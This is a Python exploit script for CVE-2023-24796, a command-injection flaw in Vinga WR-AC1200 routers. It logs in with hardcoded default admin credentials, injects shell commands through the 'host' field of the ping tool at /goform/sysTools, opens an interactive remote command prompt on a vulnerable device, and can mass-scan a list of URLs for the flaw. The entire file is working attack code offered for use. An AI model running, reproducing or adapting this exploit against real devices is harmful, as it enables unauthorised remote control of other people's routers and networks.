import requests
import urllib3
import re,string,random
from urllib.parse import urljoin,quote
import argparse
import time
import re
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def check(url):
    url = url.rstrip("/")
    taeget_url = urljoin(url, "/goform/sysTools")
    headers = {
        "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
        "Content-Type": "application/x-www-form-urlencoded",
        "Authorization": "Basic YWRtaW46YWRtaW4="
    }
    try:
        random_str = generate_random_string(10)
        data = """tool=0&pingCount=4&host=%3Becho%20%22{}%22&sumbit=OK""".format(random_str)
        response = requests.post(taeget_url, verify=False, headers=headers, data=data)
        if response.status_code == 200 and random_str in response.text:
                print(f"\033[31mDiscovered:{url}: CVE-2023-24796_VINGAWRAC1200 _RCE!\033[0m")
                return True
    except Exception as e:
        pass


def run(url):
    url = url.rstrip("/")
    taeget_url = urljoin(url, "/goform/sysTools")
    headers = {
        "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
        "Content-Type": "application/x-www-form-urlencoded",
        "Authorization": "Basic YWRtaW46YWRtaW4="
    }
    try:
        if check(url):
            while True:
                command = input("\033[34mPlease input command (stop input:exit):\033[0m")
                command =quote(command)
                if "exit" not in command:
                    data = """tool=0&pingCount=4&host=%3B{}&sumbit=OK""".format(command)
                    response = requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=15)
                    if response.status_code == 200 and 'mHost' in response.text:
                        soup = BeautifulSoup(response.text, 'html.parser')
                        textarea_tag = soup.find('textarea')
                        if textarea_tag:
                            content = textarea_tag.get_text()
                            print(content.strip())
                else:
                    break
    except Exception as e:
        pass
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt

    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")